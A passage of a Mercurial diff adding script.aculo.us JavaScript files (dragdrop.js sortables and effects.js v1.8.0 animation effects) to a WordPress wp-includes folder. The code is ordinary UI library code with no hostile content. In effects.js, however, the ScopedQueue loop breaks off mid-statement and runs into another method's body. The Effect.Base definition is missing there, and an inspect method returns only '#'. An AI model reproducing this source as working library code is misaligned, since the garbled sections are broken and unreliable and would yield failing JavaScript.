(this.options.constraint=='horizontal')) + style.left = p[0] + "px"; + if((!this.options.constraint) || (this.options.constraint=='vertical')) + style.top = p[1] + "px"; + + if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering + }, + + stopScrolling: function() { + if(this.scrollInterval) { + clearInterval(this.scrollInterval); + this.scrollInterval = null; + Draggables._lastScrollPointer = null; + } + }, + + startScrolling: function(speed) { + if(!(speed[0] || speed[1])) return; + this.scrollSpeed = [speed[0]*this.options.scrollSpeed,speed[1]*this.options.scrollSpeed]; + this.lastScrolled = new Date(); + this.scrollInterval = setInterval(this.scroll.bind(this), 10); + }, + + scroll: function() { + var current = new Date(); + var delta = current - this.lastScrolled; + this.lastScrolled = current; + if(this.options.scroll == window) { + with (this._getWindowScroll(this.options.scroll)) { + if (this.scrollSpeed[0] || this.scrollSpeed[1]) { + var d = delta / 1000; + this.options.scroll.scrollTo( left + d*this.scrollSpeed[0], top + d*this.scrollSpeed[1] ); + } + } + } else { + this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000; + this.options.scroll.scrollTop += this.scrollSpeed[1] * delta / 1000; + } + + Position.prepare(); + Droppables.show(Draggables._lastPointer, this.element); + Draggables.notify('onDrag', this); + if (this._isScrollChild) { + Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer); + Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000; + Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000; + if (Draggables._lastScrollPointer[0] < 0) + Draggables._lastScrollPointer[0] = 0; + if (Draggables._lastScrollPointer[1] < 0) + Draggables._lastScrollPointer[1] = 0; + this.draw(Draggables._lastScrollPointer); + } + + if(this.options.change) this.options.change(this); + }, + + _getWindowScroll: function(w) { + var T, L, W, H; + with (w.document) { + if (w.document.documentElement && documentElement.scrollTop) { + T = documentElement.scrollTop; + L = documentElement.scrollLeft; + } else if (w.document.body) { + T = body.scrollTop; + L = body.scrollLeft; + } + if (w.innerWidth) { + W = w.innerWidth; + H = w.innerHeight; + } else if (w.document.documentElement && documentElement.clientWidth) { + W = documentElement.clientWidth; + H = documentElement.clientHeight; + } else { + W = body.offsetWidth; + H = body.offsetHeight + } + } + return { top: T, left: L, width: W, height: H }; + } +}); + +Draggable._dragging = { }; + +/*--------------------------------------------------------------------------*/ + +var SortableObserver = Class.create({ + initialize: function(element, observer) { + this.element = $(element); + this.observer = observer; + this.lastValue = Sortable.serialize(this.element); + }, + + onStart: function() { + this.lastValue = Sortable.serialize(this.element); + }, + + onEnd: function() { + Sortable.unmark(); + if(this.lastValue != Sortable.serialize(this.element)) + this.observer(this.element) + } +}); + +var Sortable = { + SERIALIZE_RULE: /^[^_\-](?:[A-Za-z0-9\-\_]*)[_](.*)$/, + + sortables: { }, + + _findRootElement: function(element) { + while (element.tagName.toUpperCase() != "BODY") { + if(element.id && Sortable.sortables[element.id]) return element; + element = element.parentNode; + } + }, + + options: function(element) { + element = Sortable._findRootElement($(element)); + if(!element) return; + return Sortable.sortables[element.id]; + }, + + destroy: function(element){ + var s = Sortable.options(element); + + if(s) { + Draggables.removeObserver(s.element); + s.droppables.each(function(d){ Droppables.remove(d) }); + s.draggables.invoke('destroy'); + + delete Sortable.sortables[s.element.id]; + } + }, + + create: function(element) { + element = $(element); + var options = Object.extend({ + element: element, + tag: 'li', // assumes li children, override with tag: 'tagname' + dropOnEmpty: false, + tree: false, + treeTag: 'ul', + overlap: 'vertical', // one of 'vertical', 'horizontal' + constraint: 'vertical', // one of 'vertical', 'horizontal', false + containment: element, // also takes array of elements (or id's); or false + handle: false, // or a CSS class + only: false, + delay: 0, + hoverclass: null, + ghosting: false, + quiet: false, + scroll: false, + scrollSensitivity: 20, + scrollSpeed: 15, + format: this.SERIALIZE_RULE, + + // these take arrays of elements or ids and can be + // used for better initialization performance + elements: false, + handles: false, + + onChange: Prototype.emptyFunction, + onUpdate: Prototype.emptyFunction + }, arguments[1] || { }); + + // clear any old sortable with same element + this.destroy(element); + + // build options for the draggables + var options_for_draggable = { + revert: true, + quiet: options.quiet, + scroll: options.scroll, + scrollSpeed: options.scrollSpeed, + scrollSensitivity: options.scrollSensitivity, + delay: options.delay, + ghosting: options.ghosting, + constraint: options.constraint, + handle: options.handle }; + + if(options.starteffect) + options_for_draggable.starteffect = options.starteffect; + + if(options.reverteffect) + options_for_draggable.reverteffect = options.reverteffect; + else + if(options.ghosting) options_for_draggable.reverteffect = function(element) { + element.style.top = 0; + element.style.left = 0; + }; + + if(options.endeffect) + options_for_draggable.endeffect = options.endeffect; + + if(options.zindex) + options_for_draggable.zindex = options.zindex; + + // build options for the droppables + var options_for_droppable = { + overlap: options.overlap, + containment: options.containment, + tree: options.tree, + hoverclass: options.hoverclass, + onHover: Sortable.onHover + } + + var options_for_tree = { + onHover: Sortable.onEmptyHover, + overlap: options.overlap, + containment: options.containment, + hoverclass: options.hoverclass + } + + // fix for gecko engine + Element.cleanWhitespace(element); + + options.draggables = []; + options.droppables = []; + + // drop on empty handling + if(options.dropOnEmpty || options.tree) { + Droppables.add(element, options_for_tree); + options.droppables.push(element); + } + + (options.elements || this.findElements(element, options) || []).each( function(e,i) { + var handle = options.handles ? $(options.handles[i]) : + (options.handle ? $(e).select('.' + options.handle)[0] : e); + options.draggables.push( + new Draggable(e, Object.extend(options_for_draggable, { handle: handle }))); + Droppables.add(e, options_for_droppable); + if(options.tree) e.treeNode = element; + options.droppables.push(e); + }); + + if(options.tree) { + (Sortable.findTreeElements(element, options) || []).each( function(e) { + Droppables.add(e, options_for_tree); + e.treeNode = element; + options.droppables.push(e); + }); + } + + // keep reference + this.sortables[element.id] = options; + + // for onupdate + Draggables.addObserver(new SortableObserver(element, options.onUpdate)); + + }, + + // return all suitable-for-sortable elements in a guaranteed order + findElements: function(element, options) { + return Element.findChildren( + element, options.only, options.tree ? true : false, options.tag); + }, + + findTreeElements: function(element, options) { + return Element.findChildren( + element, options.only, options.tree ? true : false, options.treeTag); + }, + + onHover: function(element, dropon, overlap) { + if(Element.isParent(dropon, element)) return; + + if(overlap > .33 && overlap < .66 && Sortable.options(dropon).tree) { + return; + } else if(overlap>0.5) { + Sortable.mark(dropon, 'before'); + if(dropon.previousSibling != element) { + var oldParentNode = element.parentNode; + element.style.visibility = "hidden"; // fix gecko rendering + dropon.parentNode.insertBefore(element, dropon); + if(dropon.parentNode!=oldParentNode) + Sortable.options(oldParentNode).onChange(element); + Sortable.options(dropon.parentNode).onChange(element); + } + } else { + Sortable.mark(dropon, 'after'); + var nextElement = dropon.nextSibling || null; + if(nextElement != element) { + var oldParentNode = element.parentNode; + element.style.visibility = "hidden"; // fix gecko rendering + dropon.parentNode.insertBefore(element, nextElement); + if(dropon.parentNode!=oldParentNode) + Sortable.options(oldParentNode).onChange(element); + Sortable.options(dropon.parentNode).onChange(element); + } + } + }, + + onEmptyHover: function(element, dropon, overlap) { + var oldParentNode = element.parentNode; + var droponOptions = Sortable.options(dropon); + + if(!Element.isParent(dropon, element)) { + var index; + + var children = Sortable.findElements(dropon, {tag: droponOptions.tag, only: droponOptions.only}); + var child = null; + + if(children) { + var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1.0 - overlap); + + for (index = 0; index < children.length; index += 1) { + if (offset - Element.offsetSize (children[index], droponOptions.overlap) >= 0) { + offset -= Element.offsetSize (children[index], droponOptions.overlap); + } else if (offset - (Element.offsetSize (children[index], droponOptions.overlap) / 2) >= 0) { + child = index + 1 < children.length ? children[index + 1] : null; + break; + } else { + child = children[index]; + break; + } + } + } + + dropon.insertBefore(element, child); + + Sortable.options(oldParentNode).onChange(element); + droponOptions.onChange(element); + } + }, + + unmark: function() { + if(Sortable._marker) Sortable._marker.hide(); + }, + + mark: function(dropon, position) { + // mark on ghosting only + var sortable = Sortable.options(dropon.parentNode); + if(sortable && !sortable.ghosting) return; + + if(!Sortable._marker) { + Sortable._marker = + ($('dropmarker') || Element.extend(document.createElement('DIV'))). + hide().addClassName('dropmarker').setStyle({position:'absolute'}); + document.getElementsByTagName("body").item(0).appendChild(Sortable._marker); + } + var offsets = Position.cumulativeOffset(dropon); + Sortable._marker.setStyle({left: offsets[0]+'px', top: offsets[1] + 'px'}); + + if(position=='after') + if(sortable.overlap == 'horizontal') + Sortable._marker.setStyle({left: (offsets[0]+dropon.clientWidth) + 'px'}); + else + Sortable._marker.setStyle({top: (offsets[1]+dropon.clientHeight) + 'px'}); + + Sortable._marker.show(); + }, + + _tree: function(element, options, parent) { + var children = Sortable.findElements(element, options) || []; + + for (var i = 0; i < children.length; ++i) { + var match = children[i].id.match(options.format); + + if (!match) continue; + + var child = { + id: encodeURIComponent(match ? match[1] : null), + element: element, + parent: parent, + children: [], + position: parent.children.length, + container: $(children[i]).down(options.treeTag) + } + + /* Get the element containing the children and recurse over it */ + if (child.container) + this._tree(child.container, options, child) + + parent.children.push (child); + } + + return parent; + }, + + tree: function(element) { + element = $(element); + var sortableOptions = this.options(element); + var options = Object.extend({ + tag: sortableOptions.tag, + treeTag: sortableOptions.treeTag, + only: sortableOptions.only, + name: element.id, + format: sortableOptions.format + }, arguments[1] || { }); + + var root = { + id: null, + parent: null, + children: [], + container: element, + position: 0 + } + + return Sortable._tree(element, options, root); + }, + + /* Construct a [i] index for a particular node */ + _constructIndex: function(node) { + var index = ''; + do { + if (node.id) index = '[' + node.position + ']' + index; + } while ((node = node.parent) != null); + return index; + }, + + sequence: function(element) { + element = $(element); + var options = Object.extend(this.options(element), arguments[1] || { }); + + return $(this.findElements(element, options) || []).map( function(item) { + return item.id.match(options.format) ? item.id.match(options.format)[1] : ''; + }); + }, + + setSequence: function(element, new_sequence) { + element = $(element); + var options = Object.extend(this.options(element), arguments[2] || { }); + + var nodeMap = { }; + this.findElements(element, options).each( function(n) { + if (n.id.match(options.format)) + nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode]; + n.parentNode.removeChild(n); + }); + + new_sequence.each(function(ident) { + var n = nodeMap[ident]; + if (n) { + n[1].appendChild(n[0]); + delete nodeMap[ident]; + } + }); + }, + + serialize: function(element) { + element = $(element); + var options = Object.extend(Sortable.options(element), arguments[1] || { }); + var name = encodeURIComponent( + (arguments[1] && arguments[1].name) ? arguments[1].name : element.id); + + if (options.tree) { + return Sortable.tree(element, arguments[1]).children.map( function (item) { + return [name + Sortable._constructIndex(item) + "[id]=" + + encodeURIComponent(item.id)].concat(item.children.map(arguments.callee)); + }).flatten().join('&'); + } else { + return Sortable.sequence(element, arguments[1]).map( function(item) { + return name + "[]=" + encodeURIComponent(item); + }).join('&'); + } + } +} + +// Returns true if child is contained within element +Element.isParent = function(child, element) { + if (!child.parentNode || child == element) return false; + if (child.parentNode == element) return true; + return Element.isParent(child.parentNode, element); +} + +Element.findChildren = function(element, only, recursive, tagName) { + if(!element.hasChildNodes()) return null; + tagName = tagName.toUpperCase(); + if(only) only = [only].flatten(); + var elements = []; + $A(element.childNodes).each( function(e) { + if(e.tagName && e.tagName.toUpperCase()==tagName && + (!only || (Element.classNames(e).detect(function(v) { return only.include(v) })))) + elements.push(e); + if(recursive) { + var grandchildren = Element.findChildren(e, only, recursive, tagName); + if(grandchildren) elements.push(grandchildren); + } + }); + + return (elements.length>0 ? elements.flatten() : []); +} + +Element.offsetSize = function (element, type) { + return element['offset' + ((type=='vertical' || type=='height') ? 'Height' : 'Width')]; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/scriptaculous/effects.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/scriptaculous/effects.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1122 @@ +// script.aculo.us effects.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007 + +// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// Contributors: +// Justin Palmer (http://encytemedia.com/) +// Mark Pilgrim (http://diveintomark.org/) +// Martin Bialasinki +// +// script.aculo.us is freely distributable under the terms of an MIT-style license. +// For details, see the script.aculo.us web site: http://script.aculo.us/ + +// converts rgb() and #xxx to #xxxxxx format, +// returns self (or first argument) if not convertable +String.prototype.parseColor = function() { + var color = '#'; + if (this.slice(0,4) == 'rgb(') { + var cols = this.slice(4,this.length-1).split(','); + var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3); + } else { + if (this.slice(0,1) == '#') { + if (this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase(); + if (this.length==7) color = this.toLowerCase(); + } + } + return (color.length==7 ? color : (arguments[0] || this)); +}; + +/*--------------------------------------------------------------------------*/ + +Element.collectTextNodes = function(element) { + return $A($(element).childNodes).collect( function(node) { + return (node.nodeType==3 ? node.nodeValue : + (node.hasChildNodes() ? Element.collectTextNodes(node) : '')); + }).flatten().join(''); +}; + +Element.collectTextNodesIgnoreClass = function(element, className) { + return $A($(element).childNodes).collect( function(node) { + return (node.nodeType==3 ? node.nodeValue : + ((node.hasChildNodes() && !Element.hasClassName(node,className)) ? + Element.collectTextNodesIgnoreClass(node, className) : '')); + }).flatten().join(''); +}; + +Element.setContentZoom = function(element, percent) { + element = $(element); + element.setStyle({fontSize: (percent/100) + 'em'}); + if (Prototype.Browser.WebKit) window.scrollBy(0,0); + return element; +}; + +Element.getInlineOpacity = function(element){ + return $(element).style.opacity || ''; +}; + +Element.forceRerendering = function(element) { + try { + element = $(element); + var n = document.createTextNode(' '); + element.appendChild(n); + element.removeChild(n); + } catch(e) { } +}; + +/*--------------------------------------------------------------------------*/ + +var Effect = { + _elementDoesNotExistError: { + name: 'ElementDoesNotExistError', + message: 'The specified DOM element does not exist, but is required for this effect to operate' + }, + Transitions: { + linear: Prototype.K, + sinoidal: function(pos) { + return (-Math.cos(pos*Math.PI)/2) + 0.5; + }, + reverse: function(pos) { + return 1-pos; + }, + flicker: function(pos) { + var pos = ((-Math.cos(pos*Math.PI)/4) + 0.75) + Math.random()/4; + return pos > 1 ? 1 : pos; + }, + wobble: function(pos) { + return (-Math.cos(pos*Math.PI*(9*pos))/2) + 0.5; + }, + pulse: function(pos, pulses) { + pulses = pulses || 5; + return ( + ((pos % (1/pulses)) * pulses).round() == 0 ? + ((pos * pulses * 2) - (pos * pulses * 2).floor()) : + 1 - ((pos * pulses * 2) - (pos * pulses * 2).floor()) + ); + }, + spring: function(pos) { + return 1 - (Math.cos(pos * 4.5 * Math.PI) * Math.exp(-pos * 6)); + }, + none: function(pos) { + return 0; + }, + full: function(pos) { + return 1; + } + }, + DefaultOptions: { + duration: 1.0, // seconds + fps: 100, // 100= assume 66fps max. + sync: false, // true for combining + from: 0.0, + to: 1.0, + delay: 0.0, + queue: 'parallel' + }, + tagifyText: function(element) { + var tagifyStyle = 'position:relative'; + if (Prototype.Browser.IE) tagifyStyle += ';zoom:1'; + + element = $(element); + $A(element.childNodes).each( function(child) { + if (child.nodeType==3) { + child.nodeValue.toArray().each( function(character) { + element.insertBefore( + new Element('span', {style: tagifyStyle}).update( + character == ' ' ? String.fromCharCode(160) : character), + child); + }); + Element.remove(child); + } + }); + }, + multiple: function(element, effect) { + var elements; + if (((typeof element == 'object') || + Object.isFunction(element)) && + (element.length)) + elements = element; + else + elements = $(element).childNodes; + + var options = Object.extend({ + speed: 0.1, + delay: 0.0 + }, arguments[2] || { }); + var masterDelay = options.delay; + + $A(elements).each( function(element, index) { + new effect(element, Object.extend(options, { delay: index * options.speed + masterDelay })); + }); + }, + PAIRS: { + 'slide': ['SlideDown','SlideUp'], + 'blind': ['BlindDown','BlindUp'], + 'appear': ['Appear','Fade'] + }, + toggle: function(element, effect) { + element = $(element); + effect = (effect || 'appear').toLowerCase(); + var options = Object.extend({ + queue: { position:'end', scope:(element.id || 'global'), limit: 1 } + }, arguments[2] || { }); + Effect[element.visible() ? + Effect.PAIRS[effect][1] : Effect.PAIRS[effect][0]](element, options); + } +}; + +Effect.DefaultOptions.transition = Effect.Transitions.sinoidal; + +/* ------------- core effects ------------- */ + +Effect.ScopedQueue = Class.create(Enumerable, { + initialize: function() { + this.effects = []; + this.interval = null; + }, + _each: function(iterator) { + this.effects._each(iterator); + }, + add: function(effect) { + var timestamp = new Date().getTime(); + + var position = Object.isString(effect.options.queue) ? + effect.options.queue : effect.options.queue.position; + + switch(position) { + case 'front': + // move unstarted effects after this effect + this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) { + e.startOn += effect.finishOn; + e.finishOn += effect.finishOn; + }); + break; + case 'with-last': + timestamp = this.effects.pluck('startOn').max() || timestamp; + break; + case 'end': + // start effect after last queued effect has finished + timestamp = this.effects.pluck('finishOn').max() || timestamp; + break; + } + + effect.startOn += timestamp; + effect.finishOn += timestamp; + + if (!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit)) + this.effects.push(effect); + + if (!this.interval) + this.interval = setInterval(this.loop.bind(this), 15); + }, + remove: function(effect) { + this.effects = this.effects.reject(function(e) { return e==effect }); + if (this.effects.length == 0) { + clearInterval(this.interval); + this.interval = null; + } + }, + loop: function() { + var timePos = new Date().getTime(); + for(var i=0, len=this.effects.length;i= this.startOn) { + if (timePos >= this.finishOn) { + this.render(1.0); + this.cancel(); + this.event('beforeFinish'); + if (this.finish) this.finish(); + this.event('afterFinish'); + return; + } + var pos = (timePos - this.startOn) / this.totalTime, + frame = (pos * this.totalFrames).round(); + if (frame > this.currentFrame) { + this.render(pos); + this.currentFrame = frame; + } + } + }, + cancel: function() { + if (!this.options.sync) + Effect.Queues.get(Object.isString(this.options.queue) ? + 'global' : this.options.queue.scope).remove(this); + this.state = 'finished'; + }, + event: function(eventName) { + if (this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this); + if (this.options[eventName]) this.options[eventName](this); + }, + inspect: function() { + var data = $H(); + for(property in this) + if (!Object.isFunction(this[property])) data.set(property, this[property]); + return '#'; + } +}); + +Effect.Parallel = Class.create(Effect.Base, { + initialize: function(effects) { + this.effects = effects || []; + this.start(arguments[1]); + }, + update: function(position) { + this.effects.invoke('render', position); + }, + finish: function(position) { + this.effects.each( function(effect) { + effect.render(1.0); + effect.cancel(); + effect.event('beforeFinish'); + if (effect.finish) effect.finish(position); + effect.event('afterFinish'); + }); + } +}); + +Effect.Tween = Class.create(Effect.Base, { + initialize: function(object, from, to) { + object = Object.isString(object) ? $(object) : object; + var args = $A(arguments), method = args.last(), + options = args.length == 5 ? args[3] : null; + this.method = Object.isFunction(method) ? method.bind(object) : + Object.isFunction(object[method]) ? object[method].bind(object) : + function(value) { object[method] = value }; + this.start(Object.extend({ from: from, to: to }, options || { })); + }, + update: function(position) { + this.method(position); + } +}); + +Effect.Event = Class.create(Effect.Base, { + initialize: function() { + this.start(Object.extend({ duration: 0 }, arguments[0] || { })); + }, + update: Prototype.emptyFunction +}); + +Effect.Opacity = Class.create(Effect.Base, { + initialize: function(element) { + this.element = $(element); + if (!this.element) throw(Effect._elementDoesNotExistError); + // make this work on IE on elements without 'layout' + if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout)) + this.element.setStyle({zoom: 1}); + var options = Object.extend({ + from: this.element.getOpacity() || 0.0, + to: 1.0 + }, arguments[1] || { }); + this.start(options); + }, + update: function(position) { + this.element.setOpacity(position); + } +}); + +Effect.Move = Class.create(Effect.Base, { + initialize: function(element) { + this.element = $(element); + if (!this.element) throw(Effect._elementDoesNotExistError); + var options = Object.extend({ + x: 0, + y: 0, + mode: 'relative' + }, arguments[1] || { }); + this.start(options); + }, + setup: function() { + this.element.makePositioned(); + this.originalLeft = parseFloat(this.element.getStyle('left') || '0'); + this.originalTop = parseFloat(this.element.getStyle('top') || '0'); + if (this.options.mode == 'absolute') { + this.options.x = this.options.x - this.originalLeft; + this.options.y = this.options.y - this.originalTop; + } + }, + update: function(position) { + this.element.setStyle({ + left: (this.options.x * position + this.originalLeft).round() + 'px', + top: (this.options.y * position + this.originalTop).round() + 'px' + }); + } +}); + +// for backwards compatibility +Effect.MoveBy = function(element, toTop, toLeft) { + return new Effect.Move(element, + Object.extend({ x: toLeft, y: toTop }, arguments[3] || { })); +}; + +Effect.Scale = Class.create(Effect.Base, { + initialize: function(element, percent) { + this.element = $(element); + if (!this.element) throw(Effect._elementDoesNotExistError); + var options = Object.extend({ + scaleX: true, + scaleY: true, + scaleContent: true, + scaleFromCenter: false, + scaleMode: 'box', // 'box' or 'contents' or { } with provided values + scaleFrom: 100.0, + scaleTo: percent + }, arguments[2] || { }); + this.start(options); + }, + setup: function() { + this.restoreAfterFinish = this.options.restoreAfterFinish || false; + this.elementPositioning = this.element.getStyle('position'); + + this.originalStyle = { }; + ['top','left','width','height','fontSize'].each( function(k) { + this.originalStyle[k] = this.element.style[k]; + }.bind(this)); + + this.originalTop = this.element.offsetTop; + this.originalLeft = this.element.offsetLeft; + + var fontSize = this.element.getStyle('font-size') || '100%'; + ['em','px','%','pt'].each( function(fontSizeType) { + if (fontSize.indexOf(fontSizeType)>0) { + this.fontSize = parseFloat(fontSize); + this.fontSizeType = fontSizeType; + } + }.bind(this)); + + this.factor = (this.options.scaleTo - this.options.scaleFrom)/100; + + this.dims = null; + if (this.options.scaleMode=='box') + this.dims = [this.element.offsetHeight, this.element.offsetWidth]; + if (/^content/.test(this.options.scaleMode)) + this.dims = [this.element.scrollHeight, this.element.scrollWidth]; + if (!this.dims) + this.dims = [this.options.scaleMode.originalHeight, + this.options.scaleMode.originalWidth]; + }, + update: function(position) { + var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position); + if (this.options.scaleContent && this.fontSize) + this.element.setStyle({fontSize: this.fontSize * currentScale + this.fontSizeType }); + this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale); + }, + finish: function(position) { + if (this.restoreAfterFinish) this.element.setStyle(this.originalStyle); + }, + setDimensions: function(height, width) { + var d = { }; + if (this.options.scaleX) d.width = width.round() + 'px'; + if (this.options.scaleY) d.height = height.round() + 'px'; + if (this.options.scaleFromCenter) { + var topd = (height - this.dims[0])/2; + var leftd = (width - this.dims[1])/2; + if (this.elementPositioning == 'absolute') { + if (this.options.scaleY) d.top = this.originalTop-topd + 'px'; + if (this.options.scaleX) d.left = this.originalLeft-leftd + 'px'; + } else { + if (this.options.scaleY) d.top = -topd + 'px'; + if (this.options.scaleX) d.left = -leftd + 'px'; + } + } + this.element.setStyle(d); + } +}); + +Effect.Highlight = Class.create(Effect.Base, { + initialize: function(element) { + this.element = $(element); + if (!this.element) throw(Effect._elementDoesNotExistError); + var options = Object.extend({ startcolor: '#ffff99' }, arguments[1] || { }); + this.start(options); + }, + setup: function() { + // Prevent executing on elements not in the layout flow + if (this.element.getStyle('display')=='none') { this.cancel(); return; } + // Disable background image during the effect + this.oldStyle = { }; + if (!this.options.keepBackgroundImage) { + this.oldStyle.backgroundImage = this.element.getStyle('background-image'); + this.element.setStyle({backgroundImage: 'none'}); + } + if (!this.options.endcolor) + this.options.endcolor = this.element.getStyle('background-color').parseColor('#ffffff'); + if (!this.options.restorecolor) + this.options.restorecolor = this.element.getStyle('background-color'); + // init color calculations + this._base = $R(0,2).map(function(i){ return parseInt(this.options.startcolor.slice(i*2+1,i*2+3),16) }.bind(this)); + this._delta = $R(0,2).map(function(i){ return parseInt(this.options.endcolor.slice(i*2+1,i*2+3),16)-this._base[i] }.bind(this)); + }, + update: function(position) { + this.element.setStyle({backgroundColor: $R(0,2).inject('#',function(m,v,i){ + return m+((this._base[i]+(this._delta[i]*position)).round().toColorPart()); }.bind(this)) }); + }, + finish: function() { + this.element.setStyle(Object.extend(this.oldStyle, { + backgroundColor: this.options.restorecolor + })); + } +}); + +Effect.ScrollTo = function(element) { + var options = arguments[1] || { }, + scrollOffsets = document.viewport.getScrollOffsets(), + elementOffsets = $(element).cumulativeOffset(), + max = (window.height || document.body.scrollHeight) - document.viewport.getHeight(); + + if (options.offset) elementOffsets[1] += options.offset; + + return new Effect.Tween(null, + scrollOffsets.top, + elementOffsets[1] > max ? max : elementOffsets[1], + options, + function(p){ scrollTo(scrollOffsets.left, p.round()) } + ); +}; + +/* ------------- combination effects ------------- */ + +Effect.Fade = function(element) { + element = $(element); + var oldOpacity = element.getInlineOpacity(); + var options = Object.extend({ + from: element.getOpacity() || 1.0, + to: 0.0, + afterFinishInternal: function(effect) { + if (effect.options.to!=0) return; + effect.element.hide().setStyle({opacity: oldOpacity}); + } + }, arguments[1] || { }); + return new Effect.Opacity(element,options); +}; + +Effect.Appear = function(element) { + element = $(element); + var options = Object.extend({ + from: (element.getStyle('display') == 'none' ? 0.0 : element.getOpacity() || 0.0), + to: 1.0, + // force Safari to render floated elements properly + afterFinishInternal: function(effect) { + effect.element.forceRerendering(); + }, + beforeSetup: function(effect) { + effect.element.setOpacity(effect.options.from).show(); + }}, arguments[1] || { }); + return new Effect.Opacity(element,options); +}; + +Effect.Puff = function(element) { + element = $(element); + var oldStyle = { + opacity: element.getInlineOpacity(), + position: element.getStyle('position'), + top: element.style.top, + left: element.style.left, + width: element.style.width, + height: element.style.height + }; + return new Effect.Parallel( + [ new Effect.Scale(element, 200, + { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }), + new Effect.Opacity(element, { sync: true, to: 0.0 } ) ], + Object.extend({ duration: 1.0, + beforeSetupInternal: function(effect) { + Position.absolutize(effect.effects[0].element) + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.hide().setStyle(oldStyle); } + }, arguments[1] || { }) + ); +}; + +Effect.BlindUp = function(element) { + element = $(element); + element.makeClipping(); + return new Effect.Scale(element, 0, + Object.extend({ scaleContent: false, + scaleX: false, + restoreAfterFinish: true, + afterFinishInternal: function(effect) { + effect.element.hide().undoClipping(); + } + }, arguments[1] || { }) + ); +}; + +Effect.BlindDown = function(element) { + element = $(element); + var elementDimensions = element.getDimensions(); + return new Effect.Scale(element, 100, Object.extend({ + scaleContent: false, + scaleX: false, + scaleFrom: 0, + scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width}, + restoreAfterFinish: true, + afterSetup: function(effect) { + effect.element.makeClipping().setStyle({height: '0px'}).show(); + }, + afterFinishInternal: function(effect) { + effect.element.undoClipping(); + } + }, arguments[1] || { })); +}; + +Effect.SwitchOff = function(element) { + element = $(element); + var oldOpacity = element.getInlineOpacity(); + return new Effect.Appear(element, Object.extend({ + duration: 0.4, + from: 0, + transition: Effect.Transitions.flicker, + afterFinishInternal: function(effect) { + new Effect.Scale(effect.element, 1, { + duration: 0.3, scaleFromCenter: true, + scaleX: false, scaleContent: false, restoreAfterFinish: true, + beforeSetup: function(effect) { + effect.element.makePositioned().makeClipping(); + }, + afterFinishInternal: function(effect) { + effect.element.hide().undoClipping().undoPositioned().setStyle({opacity: oldOpacity}); + } + }) + } + }, arguments[1] || { })); +}; + +Effect.DropOut = function(element) { + element = $(element); + var oldStyle = { + top: element.getStyle('top'), + left: element.getStyle('left'), + opacity: element.getInlineOpacity() }; + return new Effect.Parallel( + [ new Effect.Move(element, {x: 0, y: 100, sync: true }), + new Effect.Opacity(element, { sync: true, to: 0.0 }) ], + Object.extend( + { duration: 0.5, + beforeSetup: function(effect) { + effect.effects[0].element.makePositioned(); + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.hide().undoPositioned().setStyle(oldStyle); + } + }, arguments[1] || { })); +}; + +Effect.Shake = function(element) { + element = $(element); + var options = Object.extend({ + distance: 20, + duration: 0.5 + }, arguments[1] || {}); + var distance = parseFloat(options.distance); + var split = parseFloat(options.duration) / 10.0; + var oldStyle = { + top: element.getStyle('top'), + left: element.getStyle('left') }; + return new Effect.Move(element, + { x: distance, y: 0, duration: split, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: -distance*2, y: 0, duration: split*2, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: distance*2, y: 0, duration: split*2, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: -distance*2, y: 0, duration: split*2, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: distance*2, y: 0, duration: split*2, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: -distance, y: 0, duration: split, afterFinishInternal: function(effect) { + effect.element.undoPositioned().setStyle(oldStyle); + }}) }}) }}) }}) }}) }}); +}; + +Effect.SlideDown = function(element) { + element = $(element).cleanWhitespace(); + // SlideDown need to have the content of the element wrapped in a container element with fixed height! + var oldInnerBottom = element.down().getStyle('bottom'); + var elementDimensions = element.getDimensions(); + return new Effect.Scale(element, 100, Object.extend({ + scaleContent: false, + scaleX: false, + scaleFrom: window.opera ? 0 : 1, + scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width}, + restoreAfterFinish: true, + afterSetup: function(effect) { + effect.element.makePositioned(); + effect.element.down().makePositioned(); + if (window.opera) effect.element.setStyle({top: ''}); + effect.element.makeClipping().setStyle({height: '0px'}).show(); + }, + afterUpdateInternal: function(effect) { + effect.element.down().setStyle({bottom: + (effect.dims[0] - effect.element.clientHeight) + 'px' }); + }, + afterFinishInternal: function(effect) { + effect.element.undoClipping().undoPositioned(); + effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom}); } + }, arguments[1] || { }) + ); +}; + +Effect.SlideUp = function(element) { + element = $(element).cleanWhitespace(); + var oldInnerBottom = element.down().getStyle('bottom'); + var elementDimensions = element.getDimensions(); + return new Effect.Scale(element, window.opera ? 0 : 1, + Object.extend({ scaleContent: false, + scaleX: false, + scaleMode: 'box', + scaleFrom: 100, + scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width}, + restoreAfterFinish: true, + afterSetup: function(effect) { + effect.element.makePositioned(); + effect.element.down().makePositioned(); + if (window.opera) effect.element.setStyle({top: ''}); + 